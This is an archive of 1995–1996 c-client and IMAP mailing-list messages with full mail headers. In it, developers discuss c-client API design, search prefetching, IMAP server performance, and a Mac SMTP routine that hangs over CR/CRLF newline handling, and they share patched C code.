11 Dec 1995 15:04:18 -0800 (PST) From: Chez moi Reply-To: Chez moi Subject: Re: opinions wanted: sequence strings in c-client To: Bill Yeager , Mark Crispin Cc: Mike Macgirvin , c-client Interest List , IMAP Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII > Bill - > > Do you feel this way even given that mail_sequence() and mail_uid_sequence() > exist? Yes. I've actually added a few more of these kind of calls. If I only had to worry about the GUI to mail.c calls, then mail_sequence() would take care of it. > Do you use extensive UID sequence lists or ranges? Yes. In resynchronization routines I've added to the c-client. Bill From pinedev@shivax2.cac.washington.edu Tue Dec 12 03:12:22 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA17018; Tue, 12 Dec 95 03:12:22 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA03317; Tue, 12 Dec 95 03:11:03 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from wincgw1.winc.ad.jp by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA03274; Tue, 12 Dec 95 03:09:40 -0800 Received: by wincgw1.winc.ad.jp (8.6.9+2.4Wb3/4.18:3.7:winc:941125) id UAA24570; Tue, 12 Dec 1995 20:02:56 +0900 Received: from ford by airco.co.jp (8.6.9+2.4Wb3/3.3W95021020) with SMTP id SAA26365; Tue, 12 Dec 1995 18:29:24 +0900 Message-Id: <199512120929.SAA26365@airco.co.jp> Date: Tue, 12 Dec 1995 18:29:27 +0900 (JST) From: Mark A Keasling Subject: Re: opinions wanted: sequence strings in c-client To: Mark Crispin Cc: c-client Interest List , IMAP Interest List In-Reply-To: X-Mailer: AIR MAIL for Motif (v1.4) Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Hi Mark, I vote for dropping the sequence argument. -- Mark Keasling AIR Company LTD, 5-31-20 West Senriyama, Suita City, Osaka 565 Japan email: makr@airco.co.jp fone: +1 816 368 6090 fax: +1 816 368 6091 From pinedev@shivax2.cac.washington.edu Wed Dec 20 10:20:39 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA11893; Wed, 20 Dec 95 10:20:39 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA17195; Wed, 20 Dec 95 10:19:47 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from smarty.smart.net by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA17189; Wed, 20 Dec 95 10:19:45 -0800 Received: (hutchison@localhost) by smarty.smart.net (8.6.9/8.6.9) id NAA18452; Wed, 20 Dec 1995 13:23:14 -0500 Date: Wed, 20 Dec 1995 13:23:11 -0500 (EST) From: "set 'read-message-folder'" To: "B. de Vries" Cc: c-client@cac.washington.edu, deVries@dia.eur.nl Subject: Re: subscribe "Bart de Vries" In-Reply-To: <9512201542.AA18719@wammes.dia.eur.nl> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII you will be subscribed by the server, probably. This is a cool list! All kinds of neat techno things...lee c.w. hutchison On Wed, 20 Dec 1995, B. de Vries wrote: > Date: Wed, 20 Dec 1995 16:42:40 +0100 (MET) > From: B. de Vries > To: c-client@cac.washington.edu > Cc: deVries@dia.eur.nl > Subject: subscribe "Bart de Vries" > > subscribe deVries@dia.eur.nl "Bart de Vries" > > -- > Bart de Vries | Erasmus Universiteit Rotterdam | > tel : +31 10 4081242 | Informatievoorziening & | > Internet: deVries@dia.eur.nl | Automatisering | > X400: c=NL;admd=400net;prmd=Surf; | Postbus 1738 | > o=EUR;ou=dia; | 3000 DR Rotterdam | > s=deVries;i=B | The Netherlands | > ======================================================================== > From pinedev@shivax2.cac.washington.edu Tue Dec 26 15:37:56 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA27828; Tue, 26 Dec 95 15:37:56 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA09511; Tue, 26 Dec 95 15:37:22 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Lindy.Stanford.EDU by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA09505; Tue, 26 Dec 95 15:37:21 -0800 Received: from lah-charybdis.stanford.edu (LAH-Charybdis.Stanford.EDU [171.65.22.116]) by lindy.stanford.edu (8.7.1/8.7.1) with SMTP id PAA20095; Tue, 26 Dec 1995 15:37:20 -0800 (PST) Date: Tue, 26 Dec 95 15:38:38 -0800 From: Adam Treister To: Mark Crispin Subject: Logical Views w/ C-Client Cc: c-client Interest List Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Mark, I'm having trouble supporting logical views on top of c-client without loading unnecessary message elements. EG: I'm writing a message browser that supports hiding deleted messages. It has an index that remaps the visible row number into the actual row number in the array of elements. Turning the feature on and off is just a matter of using/suppressing the index mapping. Currently, when I build the lookup table, I call SEARCH \DELETED and then iterate thru all the mail elements testing the searched flag. Unfortunately this is triggering a mail_fetchstructure of each element and slowing the open of a large mailbox significantly. I want to be able to open the mailbox send a SEARCH and be able to grab the reply, and build my map without necessarily loading all the elements. Does c-client provide any way to do this, or do I need to bypass the library and send/parse the IMAP command myself? Adam From pinedev@shivax2.cac.washington.edu Tue Dec 26 20:17:26 1995 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA06071; Tue, 26 Dec 95 20:17:26 -0800 Received: by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA15965; Tue, 26 Dec 95 20:17:06 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mercury.Sun.COM by mx1.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA15959; Tue, 26 Dec 95 20:17:04 -0800 Received: from Eng.Sun.COM by mercury.Sun.COM (Sun.COM) id UAA25356; Tue, 26 Dec 1995 20:17:03 -0800 Received: from caribe.eng.sun.com by Eng.Sun.COM (5.x/SMI-5.3) id AA20530; Tue, 26 Dec 1995 20:17:02 -0800 Received: from yao ([129.146.110.14]) by caribe.eng.sun.com (5.x/SMI-SVR4) id AA29475; Tue, 26 Dec 1995 20:16:35 -0800 Date: Tue, 26 Dec 1995 20:16:02 -0800 (PST) From: Chez moi Reply-To: Chez moi Subject: Re: Logical Views w/ C-Client To: Mark Crispin , Adam Treister Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Try mail_search_full(...) with the flag SE_NOPREFETCH. Bill PS> Gee, logical views are really catching on ... From pinedev@shivax2.cac.washington.edu Wed Dec 27 00:43:42 1995 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA10313; Wed, 27 Dec 95 00:43:42 -0800 Received: by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA18266; Wed, 27 Dec 95 00:43:30 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW95.10/UW-NDC Revision: 2.33 ) id AA18260; Wed, 27 Dec 95 00:43:28 -0800 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA07965; Wed, 27 Dec 95 00:43:22 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA22544; Wed, 27 Dec 95 00:43:16 -0800 Date: Wed, 27 Dec 1995 00:40:33 -0800 (PST) From: Mark Crispin Subject: re: Logical Views w/ C-Client To: Adam Treister Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Bill's answer is essentially my answer. There are other techniques that you can do for earlier toolkits than imap-4, but nobody should be developing with anything other than imap-4 toolkit (in ftp://ftp.cac.washington.edu/mail/imap-4.ALPHA.tar.Z) today. imap-4 toolkit also lets you set the size of the search prefetch range; this is a new capability. From pinedev@shivax2.cac.washington.edu Thu Feb 22 07:03:13 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.01/UW-NDC Revision: 2.33 ) id AA07142; Thu, 22 Feb 96 07:03:13 -0800 Received: by mx2.cac.washington.edu (5.65+UW96.01/UW-NDC Revision: 2.33 ) id AA00470; Thu, 22 Feb 96 07:00:31 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from knuth.mtsu.edu by mx2.cac.washington.edu (5.65+UW96.01/UW-NDC Revision: 2.33 ) id AA00464; Thu, 22 Feb 96 07:00:29 -0800 Received: from raider by knuth.mtsu.edu with uucp (Smail3.1.29.1 #15) id m0tpcWd-000CzFC; Thu, 22 Feb 96 10:01 EST Received: by raider.raider.net (Smail3.1.29.1 #8) id m0tpcX9-0004RiC; Thu, 22 Feb 96 09:02 CST Message-Id: From: root@raider.raider.net (Mark J. Bailey [HOME]) Subject: best choice To: imap@cac.washington.edu Date: Thu, 22 Feb 1996 09:02:15 -0600 (CST) Cc: c-client@cac.washington.edu X-Mailer: ELM [version 2.4 PL21] Content-Type: text Content-Length: 834 hi IMAP list readers, i have a client that is on MicroSoft Mail right now (about 650 users). Anyway they are interested in having me research possibilities of IMAP has a replacement for the postoffice structure they currently run (on Novell). What commerical and practical options are available to me using IMAP? Ie, which of the commercial IMAP capable clients for windows would a) work the best (fastest) and b) be most easily migrated to from MM? Also, I have read in the imap.software file that there is an IMAP MAPI service provider module being worked on. also that netscape 3.0 will have IMAP support. but I have also heard that IMAP is slow with large mailboxes. whom of you on the list here have been this route and can you please share some of your thoughts! I would be most receptive! Thanks very much! Mark From pinedev@shivax2.cac.washington.edu Thu Feb 22 12:28:06 1996 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.01/UW-NDC Revision: 2.33 ) id AA26970; Thu, 22 Feb 96 12:28:06 -0800 Received: by mx1.cac.washington.edu (5.65+UW96.01/UW-NDC Revision: 2.33 ) id AA16096; Thu, 22 Feb 96 12:19:59 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW96.01/UW-NDC Revision: 2.33 ) id AA16076; Thu, 22 Feb 96 12:19:03 -0800 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA03564; Thu, 22 Feb 96 12:18:56 -0800 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA07434; Thu, 22 Feb 96 12:18:49 -0800 Date: Thu, 22 Feb 1996 09:53:11 -0800 (PST) From: Mark Crispin Subject: re: best choice To: "Mark J. Bailey [HOME]" Cc: imap@cac.washington.edu, c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mark - In general, I hesitate to make any recommendations of one commerical IMAP client over another (we're trying to promote IMAP from *all* vendors!). Among commerical PC GUI clients, I have some experience with AirMail (from AIR Co. in Japan, not the program from Spry) and *very* limited experience with ECS Mail (predecessor to Simeon) In the freeware world, we have a natural bias for Pine. ;-) To address your comment about "but I have also heard that IMAP is slow with large mailboxes", this is an extreme oversimplification of a much more complex issue of performance. Slowness with large mailboxes may be experienced with *certain* implementations of IMAP using *certain* mail folder formats on *certain* hardware configurations. If you change any of these variables you make dramatic changes to the performance results. The most common instance of "slowness with large mailboxes" occurs when an IMAP server is configured with the c-client based server using the standard UNIX mbox format on a machine with inadequate memory. Unless you require compatibility with existing Unix mail tools and/or have ample memory on the server, it is better to use one of the alternative mailbox formats supported by the c-client based server. Many sites make the mistake of buying an overpowered CPU but scrimping on memory. An IMAP server rarely consumes more than a handful of CPU seconds during its entire lifetime. Use the savings from buying a slower CPU to give the server gobs of memory. A good rule of thumb if you use UNIX mbox format is to allow at least 1MB/connected-user. You can get away with quite a bit less if you use an alternative format. The Cyrus server has its own unique mailbox format, thus getting the same effect (put another way, Cyrus doesn't let you configure things badly, at the cost of throwing compatibility out the window). With Cyrus, the gotcha is that you need lots of inodes, just as you would on a news server. It is possible that in the future c-client may support Cyrus' mail format or at least a Cyrus-style format. Some of our users routinely use IMAP with mailboxes of 5000+ messages using tenex format; is this large enough for you? From pinedev@shivax2.cac.washington.edu Fri Apr 5 21:14:22 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA23153; Fri, 5 Apr 96 21:14:22 -0800 Received: by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA23058; Fri, 5 Apr 96 21:13:19 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Beadle.Stanford.EDU by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA23052; Fri, 5 Apr 96 21:13:16 -0800 Received: from lah-charybdis.stanford.edu by Beadle.Stanford.EDU (PMDF V5.0-4 #12271) id <01I3739HHAXS9D4BAC@Beadle.Stanford.EDU>; Fri, 05 Apr 1996 21:13:06 -0700 (PDT) Date: Fri, 05 Apr 1996 21:16:30 -0800 From: Adam Treister Subject: Pbs with smtp_send To: c-client@cac.washington.edu Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT C-client-ers: I hope someone can point out the stupidity of my ways, cuz I cant find whats wrong here. I made a variation of the smtp_mail function that takes a Mac file pointer instead of a BODY. I need a version that of send that writes to the Outbox if the program is not on line, and I decided to do the SMTP send from that file. The code is below. It works fine up to the last line before returning, where it sends the terminating "period on a line by itself". smtp_send sends ".\r\n" and gets a prompt change in ioResult, but then it calls smtp_reply which calls tcp_getline and that function never seems to get a response from the server (ioResult never goes from 1 to 0) It just idles until I hit cmd-period. (I've left it >4 minutes and it doesn't seem to time out on its own) I've commented out the code that streams the file contents, and the behavior is the same. Its something about smtp_send(stream,".",NIL); (which I trust works okay in smtp_mail). If I comment out the line, then the same behavior happens when smtp_close sends the "QUIT" string. Similarly if I replace smtp_send with smtp_soutr, the call succeeds but the next call to smtp_send with not get its reply. Does this ring any bells with anyone? Its driving me crazy, cuz its really hard to test if my MIME messages are well constructed if I can't send them out! Adam ------------------------ Note: the first two thirds is a direct copy of smtp_mail, and works fine with my messages. long smtp_sendfile (SENDSTREAM *stream,char *type,ENVELOPE *env,FSSpec *inMacFile) { char tmp[8*MAILTMPLEN]; long error = NIL; if (!(env->to || env->cc || env->bcc)) { /* no recipients in request */ smtp_fake (stream,SMTPHARDERROR,"No recipients specified"); return NIL; } /* make sure stream is in good shape */ smtp_send (stream,"RSET",NIL); strcpy (tmp,"FROM:<"); /* compose "MAIL FROM:" */ rfc822_address (tmp,env->return_path); strcat (tmp,">"); if (stream->ok_8bitmime) strcat (tmp," BODY=8BITMIME"); /* send "MAIL FROM" command */ if (!(smtp_send (stream,type,tmp) == SMTPOK)) return NIL; /* negotiate the recipients */ if (env->to) smtp_rcpt (stream,env->to,&error); if (env->cc) smtp_rcpt (stream,env->cc,&error); if (env->bcc) smtp_rcpt (stream,env->bcc,&error); if (error) { /* any recipients failed? */ /* reset the stream */ smtp_send (stream,"RSET",NIL); smtp_fake (stream,SMTPHARDERROR,"One or more recipients failed"); return NIL; } /* negotiate data command */ if (!(smtp_send (stream,"DATA",NIL) == SMTPREADY)) return NIL; /* set up error in case failure */ smtp_fake (stream,SMTPSOFTFATAL,"SMTP connection went away!"); /* encode body as necessary */ // if (stream->ok_8bitmime) rfc822_encode_body_8bit (env,body); // else rfc822_encode_body_7bit (env,body); /* output data, return success status */ //-------------------------------------------------------------------------- // start of changes //?? AST 96/03/25 const long kBufferSize = 8 * MAILTMPLEN; // or 8K -- this better not be more than the tmp declaration above! long bufferSize = kBufferSize; short refNum; OSErr err = FSpOpenDF(inMacFile,fsRdPerm,&refNum); Boolean done = (err != noErr); while (!done) { bufferSize = kBufferSize; err = FSRead(refNum,&bufferSize,tmp); if ((err == noErr) OR (err == eofErr)) smtp_soutr(stream->tcpstream,tmp); done = (err != noErr) OR (bufferSize < kBufferSize); } smtp_send(stream,".",NIL); return (err == noErr) ? 1 : 0; } From pinedev@shivax2.cac.washington.edu Fri Apr 5 21:28:03 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA23416; Fri, 5 Apr 96 21:28:03 -0800 Received: by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA23247; Fri, 5 Apr 96 21:27:20 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA23241; Fri, 5 Apr 96 21:27:19 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA11142; Fri, 5 Apr 96 21:27:12 -0800 Date: Fri, 5 Apr 1996 21:22:15 -0800 (PST) From: Mark Crispin Subject: re: Pbs with smtp_send To: Adam Treister Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Adam - I'm willing to wager (with an 90% chance of certainty) that you forgot to convert from Mac newlines (bare CR) to Internet newlines CRLF. c-client goes to effort to ensure this, but as far as I can tell your routine isn't. The end of message signal is ``CR LF . CR LF''. If you aren't sending proper newlines then what's getting sent is likely to be ``CR . CR LF'' which won't work. As a kludge, you could change the smtp_send() call to send "\015\012.", but the problem with that is that all your messages will have an extra blank line at the bottom. Better to fix your newlines; the routine to do that is strcrlfcpy(). You need a second buffer that's (2*kBufferSize)+1 long to handle the worst case situation. -- Mark -- From pinedev@shivax2.cac.washington.edu Sat Apr 6 16:06:40 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA14384; Sat, 6 Apr 96 16:06:40 -0800 Received: by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA06811; Sat, 6 Apr 96 16:05:49 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Beadle.Stanford.EDU by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA06805; Sat, 6 Apr 96 16:05:48 -0800 Received: from lah-charybdis.stanford.edu by Beadle.Stanford.EDU (PMDF V5.0-4 #12271) id <01I386TWUKAO9D4AZF@Beadle.Stanford.EDU>; Sat, 06 Apr 1996 16:05:42 -0700 (PDT) Date: Sat, 06 Apr 1996 16:09:16 -0800 From: Adam Treister Subject: Re: Pbs with smtp_send In-Reply-To: Your message To: Mark Crispin Cc: c-client@cac.washington.edu Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Mark, > Better to fix your newlines; the routine to do that is > strcrlfcpy(). A couple of my many pbs were in strcrlfcpy. It was converting CR -> LF CR. Below is a version with two changes. This should only affect MAC c-client developers. Let me know if you don't think they're appropriate. This hasn't totally fixed my pb, but is a step forward. Adam unsigned long strcrlfcpy (char **dst,unsigned long *dstl,char *src, unsigned long srcl) { long i,j; char *d = src; /* count number of CR's in source string(s) */ for (i = srcl,j = 0; j < srcl; j++) if ((*d++ == '\015') && (*d != '\012')) // ?AST - 96/04/06 i++; // REMOVED for (i = srcl,j = 0; j < srcl; j++) if (*d++ == '\015') i++; /* flush destination buffer if too small */ if (*dst && (i > *dstl)) fs_give ((void **) dst); if (!*dst) { /* make a new buffer if needed */ *dst = (char *) fs_get ((*dstl = i) + 1); if (dstl) *dstl = i; /* return new buffer length to main program */ } d = *dst; /* destination string */ while (srcl--) { /* copy strings */ *d++ = *src++; /* copy character */ /* append line feed to bare CR */ if ((*(src-1) == '\015') && (*src != '\012')) *d++ = '\012'; // ?AST - 96/04/06 // REMOVED if ((*src == '\015') && (src[1] != '\012')) *d++ = '\012'; } *d = '\0'; /* tie off destination */ return d - *dst; /* return length */ } From pinedev@shivax2.cac.washington.edu Tue Apr 9 13:53:07 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA03511; Tue, 9 Apr 96 13:53:07 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA12571; Tue, 9 Apr 96 13:47:13 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from pitbull.ecst.csuchico.edu by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA12565; Tue, 9 Apr 96 13:47:11 -0700 Received: from localhost (garlick@localhost [127.0.0.1]) by pitbull.ecst.csuchico.edu (8.7.3/8.7.3) with SMTP id NAA03385 for ; Tue, 9 Apr 1996 13:47:10 -0700 (PDT) Date: Tue, 9 Apr 1996 13:46:27 -0700 (PDT) From: Jim Garlick To: c-client@cac.washington.edu Subject: imap-4 imapd, how to ignore ~/mbox? Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi, I just changed our site configuration file for Pine 3.92 to use {mailserver}inbox instead of the default /usr/mail/username. Our mailboxes are in bezerk format. For some reason, if /usr/mail/username doesn't exist, imapd will read ~/mbox instead. If our users have a ~/mbox laying around, it's from Berkeley Mail days long ago so this is not the desired or expected behavior. Can anybody tell me if there is a way to compile this feature out of c-client or if imapd.conf can help? Thanks in advance. Jim Garlick CSU Chico From pinedev@shivax2.cac.washington.edu Tue Apr 9 14:11:41 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA04183; Tue, 9 Apr 96 14:11:41 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA13232; Tue, 9 Apr 96 14:08:26 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA13226; Tue, 9 Apr 96 14:08:22 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA19545; Tue, 9 Apr 96 14:07:59 -0700 Date: Tue, 9 Apr 1996 13:58:57 -0700 (PDT) From: Mark Crispin Subject: re: imap-4 imapd, how to ignore ~/mbox? To: Jim Garlick Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 9 Apr 1996 13:46:27 -0700 (PDT), Jim Garlick wrote: > For some reason, if /usr/mail/username doesn't exist, imapd will read > ~/mbox instead. If our users have a ~/mbox laying around, it's from > Berkeley Mail days long ago so this is not the desired or expected > behavior. > > Can anybody tell me if there is a way to compile this feature out of > c-client Rebuild with the mbox driver removed from EXTRADRIVERS in the makefile. > or if imapd.conf can help? NO!! Do NOT use imapd.conf!!!! If you think that you need to use this file, you are almost certainly mistaken. It is a great way to shoot yourself in the foot. Use of this file outside of UW is *unsupported*. From pinedev@shivax2.cac.washington.edu Tue Apr 9 15:37:09 1996 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA07509; Tue, 9 Apr 96 15:37:09 -0700 Received: by mx1.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA29946; Tue, 9 Apr 96 15:35:57 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from Beadle.Stanford.EDU by mx1.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA29937; Tue, 9 Apr 96 15:35:50 -0700 Received: from lah-charybdis.stanford.edu by Beadle.Stanford.EDU (PMDF V5.0-4 #12271) id <01I3CCP91BYO9D4D0U@Beadle.Stanford.EDU>; Tue, 09 Apr 1996 15:36:55 -0700 (PDT) Date: Tue, 09 Apr 1996 15:39:04 -0700 From: Adam Treister Subject: Cramming reference data into a MAILSTREAM To: c-client@cac.washington.edu Message-Id: Content-Type: TEXT/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT I have a higher level "Mailbox" object that wraps around the c-clients MAILSTREAM. During an expunge, when I get the mm_expunged callback which passes me the stream and the message number, I have to search a global list of Mailboxes for one whose stream field matches the one passed to mm_expunged. Granted its not likely that this list will ever have over a handful of entries (and 90% of the time it'll only have 1), but this still seems like an ugly situation. Is there a way to store a pointer in the MAILSTREAM, so that I can get back at it from inside the callback? Adam From pinedev@shivax2.cac.washington.edu Tue Apr 9 15:50:18 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA07813; Tue, 9 Apr 96 15:50:18 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA15815; Tue, 9 Apr 96 15:49:14 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW96.03/UW-NDC Revision: 2.33 ) id AA15809; Tue, 9 Apr 96 15:49:11 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA19836; Tue, 9 Apr 96 15:48:56 -0700 Date: Tue, 9 Apr 1996 15:47:07 -0700 (PDT) From: Mark Crispin Subject: re: Cramming reference data into a MAILSTREAM To: Adam Treister Cc: c-client@cac.washington.edu In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 09 Apr 1996 15:39:04 -0700, Adam Treister wrote: > Is there a way to store a pointer in the MAILSTREAM, so that I can get back > at it from inside the callback? No there isn't, but there may be in the future. I don't think that it's too odious to search for the MAILSTREAM, considering that even a hairy usage is unlikely to have more than a handful of them. As far as ugliness goes, there's the converse ugliness of getting your reverse pointers out of sync, so it's somewhat a case of six of one, half a dozen of the other. From pinedev@shivax2.cac.washington.edu Thu Apr 11 12:41:47 1996 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA05710; Thu, 11 Apr 96 12:41:47 -0700 Received: by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA20462; Thu, 11 Apr 96 12:37:51 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from shiva1.cac.washington.edu by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA20453; Thu, 11 Apr 96 12:37:48 -0700 Received: from localhost by shiva1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA03666; Thu, 11 Apr 96 12:37:44 -0700 Date: Thu, 11 Apr 1996 12:37:42 -0700 (PDT) From: David L Miller To: Tim Cantin Cc: pine@cac.washington.edu, c-client@cac.washington.edu Subject: Re: Usenet Software: History and Sources In-Reply-To: <9603261440.AA10006@dorothy.wellesley.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII No, Pine is not currently Kerberized. There are patches for various versions of c-client to provide Kerberos support, but I don't know the details or current status. I believe UMich runs a Kerberized version of Pine, but I don't have a contact handy. I'll forward your request to the c-client@cac.washington.edu mailing list in case anyone there can provide better pointers... |\ | |\/| David L. Miller dlm@cac.washington.edu (206) 685-6240 |/ |_ | | Software Engineer, Pine Development Team (206) 685-4045 (FAX) University of Washington, Networks & Distributed Computing, JE-20 4545 15th Ave NE, Seattle WA 98105, USA On Tue, 26 Mar 1996, Tim Cantin wrote: > Date: Tue, 26 Mar 1996 09:40:01 -0500 > From: Tim Cantin > Subject: Re: Usenet Software: History and Sources > To: pine@cac.washington.edu > Message-ID: <9603261440.AA10006@dorothy.wellesley.edu> > X-Envelope-To: pine@cac.washington.edu > Content-Transfer-Encoding: 7BIT > > Greetings, > > Is Pine Kerberized? If not, and plans for it? If not, any problem with me > doing it and releasing the patch? If not, got any pointers for working > on the pine sources? > > Thanks, > -Tim > > --- > Tim Cantin, System and Network Manager, > 203 Simpson East/IST, Wellesley College, Wellesley, MA 02181-8201 > http://www.wellesley.edu/~tim/ > From pinedev@shivax2.cac.washington.edu Tue Apr 30 03:16:49 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA06503; Tue, 30 Apr 96 03:16:49 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA28251; Tue, 